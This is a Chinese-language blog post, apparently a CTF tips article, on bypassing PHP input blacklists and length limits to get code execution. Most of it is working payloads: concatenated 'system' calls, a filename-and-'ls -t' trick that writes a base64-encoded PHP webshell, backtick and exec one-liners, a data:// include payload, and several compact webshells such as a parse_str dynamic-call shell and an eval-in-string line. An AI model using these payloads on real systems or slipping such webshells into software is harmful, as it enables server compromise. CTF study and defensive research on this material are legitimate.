变量拼接

在ctf比赛中黑名单过滤的bypass的思路

payload

http://127.0.0.1/1.php?param=$a=sys;$b=tem;$c=$a.$b;$c($_POST[x]);

这种写法大部分大佬应该都见过,开胃小菜,接着往下看。

Linux命令长度限制

payload

>hp>c.p\\>d\>\\>\ -\\>e64\\>bas\\>7\|\\>XSK\\>Fsx\\>dFV\\>kX0\\>bCg\\>XZh\\>AgZ\\>waH\\>PD9\\>o\ \\>ech\\ls -t>0sh 0

关键命令ls -t>0 ls命令的-t参数会把当前目录下的文件按照创建时间进行排序,在使用>写入到0这个文件中(注意部分Linux系统ls -t可能不会按照时间排序参数得改成-lt),写法还可以更短,不想一行行执行,可以写个py脚本。

最短参数接受

web代码

<?php$param = $_REQUEST['param'];eval($param);?>

payload

http://127.0.0.1/1.php?param=`$_GET[1]`;&1=dir

这段payload的核心代码是这一段`$_GET[1]`;这段代码长度为11,在ctf比赛中限制长度的题目还是挺常见的,缺点是反引号执行的代码没有回显,可以在前面加上echo,当然前提是长度允许,或者进行数据带外。类似的可以使用exec函数

http://127.0.0.1/1.php?param=exec($_GET[1]);&1=dir

长度为15,同样无回显

大家常见的最短写法应该是<?`$_GET[x]`;这种写法没有=符号也是无回显,但是实际上前面的<?也是可以去掉的,应该很多人不知道吧图片

不常规的写法

payload

http://127.0.0.1/1.php?param=include$_GET[1];&1=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

核心代码include$_GET[1];使用文件包含函数搭配伪协议代码执行,条件是对方php开启伪协议的相关配置。

这个原理不难,只是这种写法不常见,所以也放到这里。

webshell的另类写法

过免就别想了,样本早被提交了,但是这种写法可以了解一下,学习一下思路

code

<?phpparse_str(http_build_query($_GET),$res);$res['x']($res['xx']);?>

payload

http://127.0.0.1/2.php?x=system&xx=dir

原理也不难,就是动态函数执行,使用参数接受函数名,可以换别的类似功能的函数进行替换。

最后放一段我在《代码审计》这本书上看到的一种写法,我相信大部分人都没见过。

<?php$a = "${@eval($_GET[x])}";

就这两行代码可以RCE

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。